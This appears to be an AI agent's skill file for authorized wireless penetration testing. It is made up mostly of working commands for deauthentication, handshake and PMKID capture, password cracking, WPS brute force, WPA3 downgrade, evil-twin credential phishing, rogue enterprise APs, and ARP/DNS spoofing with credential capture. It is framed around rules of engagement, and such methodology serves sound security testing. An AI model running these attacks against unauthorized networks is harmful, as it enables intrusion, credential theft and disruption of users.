wifi-pentest

name	wifi-pentest
description	Guides wireless network penetration testing including monitor mode setup, WPA2 handshake capture, PMKID attacks, hashcat cracking, evil twin, WPS, and WPA-Enterprise testing. Use when wireless networks are explicitly in engagement scope and ROE authorizes RF testing.

Wifi Pentest

Prerequisites

• Wireless testing requires explicit ROE authorization (RF scope, SSIDs, locations, time windows).
• Target SSIDs or BSSID ranges must be in scope.
• Use dedicated wireless adapter with monitor mode and injection support (e.g., Alfa AWUS036ACH).

Workflow

Task Progress:
- [ ] Confirm wireless scope and authorization in ROE
- [ ] Enable monitor mode; kill conflicting processes
- [ ] Enumerate SSIDs, encryption, clients, and WPS
- [ ] Capture handshake or PMKID for authorized networks only
- [ ] Document captures and crack attempts in evidence/; restore managed mode

Phase 1: Setup and enumeration

Interface preparation

MSF: No direct module; use CLI.

CLI fallback:

ip link show
iwconfig
airmon-ng check kill
airmon-ng start wlan0
# Restore: airmon-ng stop wlan0mon
iw dev wlan0 set type monitor
ip link set wlan0 up

Scan networks

MSF: No direct module; use CLI.

CLI fallback:

airodump-ng wlan0mon
airodump-ng wlan0mon --band a
airodump-ng wlan0mon --wps
iw dev wlan0 scan | grep -E "BSS|SSID|signal"

Record: BSSID, channel, ESSID, encryption (WPA2/WPA3/WEP), client MACs, WPS enabled.

Phase 2: WPA/WPA2 personal attacks

Handshake capture

MSF: No direct module; use CLI.

CLI fallback:

# Terminal 1
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture/handshake
# Terminal 2 - deauth client
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT:MAC wlan0mon
# Verify
aircrack-ng capture/handshake-01.cap
tshark -r capture/handshake-01.cap -Y eapol

Crack handshake

MSF: No direct module; use CLI.

CLI fallback:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture/handshake-01.cap
hcxpcapngtool -o wifi.22000 capture/handshake-01.cap
hashcat -m 22000 wifi.22000 wordlist.txt
hashcat -m 22000 wifi.22000 wordlist.txt --show

PMKID capture (no client required)

MSF: No direct module; use CLI.

CLI fallback:

hcxdumptool -i wlan0mon -o capture/pmkid.pcapng --enable_status=1
hcxpcapngtool -o wifi.22000 capture/pmkid.pcapng
hashcat -m 22000 wifi.22000 wordlist.txt

WPS pin attack

MSF: No direct module; use CLI.

CLI fallback:

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K 1 -vv
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -N -vv
bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6

Phase 3: WPA3 practical attacks

WPA3 uses SAE (Dragonfly). Practical attacks depend on downgrade and implementation flaws.

MSF: No direct module; use CLI.

CLI fallback:

# Check if AP supports WPA3 transition mode (WPA2+WPA3)
airodump-ng wlan0mon | grep -i "WPA3"

# Dragonblood: timing/cache side channels (research tools, lab only)
git clone https://github.com/vanhoefm/dragonblood-testing.git
# Test against authorized lab AP only

# Transition mode downgrade: force WPA2 handshake on dual-mode AP
# Many transition APs still accept WPA2-PSK -> capture WPA2 handshake instead
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture/wpa2-downgrade
aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF wlan0mon

# PMF (802.11w) blocks deauth on WPA3-only; transition mode may still allow WPA2 deauth
# Hashcat mode 22000 for SAE passwords (slow)
hashcat -m 22000 wifi.22000 wordlist.txt

# Evil twin against WPA3-SAE: capture password via captive portal (social engineering)
# See wifiphisher section below

WPA3-only networks: PMKID/SAE cracking is slow; prefer transition downgrade, evil twin, or enterprise attacks.

Phase 4: Evil twin and enterprise

Wifiphisher (captive portal)

MSF: No direct module; use CLI.

CLI fallback:

sudo wifiphisher --essid "FreeWiFi" -p oauth-login
sudo wifiphisher -aI wlan0 -eI wlan1 -p wifi_connect -hC handshake.pcap

Scenarios: oauth-login, wifi_connect, firmware-upgrade.

Bettercap (WiFi recon and MITM)

MSF: No direct module; use CLI.

CLI fallback:

# WiFi recon
bettercap -eval "wifi.recon on; set wifi.interface wlan0mon; wifi.show"

# Deauth (authorized target only)
bettercap -eval "set wifi.interface wlan0mon; wifi.deauth AA:BB:CC:DD:EE:FF"

# After association: internal network MITM
bettercap -iface wlan0 -eval "net.probe on; set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"

# DNS/HTTP spoofing on WiFi segment
bettercap -iface wlan0 -eval "set dns.spoof.all true; set dns.spoof.domains target.local; dns.spoof on; http.proxy on"

# BLE/WiFi combined recon
bettercap -eval "wifi.recon on; ble.recon on; events.stream on"

Use Bettercap after joining authorized network for client isolation testing, LLMNR/NBT-NS poisoning, and credential capture.

hostapd-wpe (WPA-Enterprise rogue AP)

MSF: No direct module; use CLI.

CLI fallback:

hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
asleap -C challenge -R response -W wordlist.txt
# Or hashcat mode 5500 (NetNTLMv1) / 5600 (NetNTLMv2)

EAPHammer (802.1X / PEAP)

MSF: No direct module; use CLI.

CLI fallback:

./eaphammer --cert-wizard
./eaphammer --bssid AA:BB:CC:DD:EE:FF --channel 6 --essid CorpWiFi --capture

Phase 5: Post-association testing

MSF MCP (preferred):

msf_db_nmap(
  engagement_id="<id>",
  targets="192.168.1.0/24",
  nmap_args="-sV -sC -p 22,80,445,3389"
)
msf_run_auxiliary_module(
  module_name="auxiliary/server/capture/smb",
  engagement_id="<id>",
  options={"JOHNPWFILE": "/tmp/captured.txt"}
)

CLI fallback:

nmap -sn 192.168.1.0/24
nmap -sV 192.168.1.1
bettercap -iface wlan0 -eval "net.probe on; arp.spoof on; net.sniff on"
Responder -I wlan0 -wrf

Check client isolation: attempt ARP to other clients. Load hacktricks-methodology for internal service pentest.

Attack decision tree

WEP?
  -> aircrack-ng WEP chopchop / fragmentation
WPA2-PSK + WPS enabled?
  -> reaver pixie dust -> online brute
WPA2-PSK no WPS?
  -> PMKID (hcxdumptool) OR handshake + deauth + hashcat
WPA3 transition mode?
  -> downgrade to WPA2 handshake OR evil twin captive portal
WPA3-only?
  -> SAE hashcat (slow) OR evil twin / enterprise rogue AP
WPA2-Enterprise?
  -> evil twin (hostapd-wpe, EAPHammer) -> capture MSCHAPv2
Open/OWE guest?
  -> evil twin + captive portal; test client isolation

Evidence and cleanup

Document in evidence:

• ROE authorization reference
• BSSID, ESSID, channel, encryption type
• Capture file hashes and paths
• Crack commands and result (redact PSK if client policy requires)
• Restore managed mode: airmon-ng stop wlan0mon

Safety and legal

• Only test SSIDs/BSSIDs explicitly in ROE
• Deauth attacks affect live users; schedule during approved windows
• Do not attack out-of-scope networks visible during scan
• auxiliary/dos/* modules are forbidden in this harness

Related skills

• hacktricks-methodology - service pentest after wifi foothold
• forensics-pentest - wifi pcap analysis
• initial-access-pentest - captive portal credential capture reporting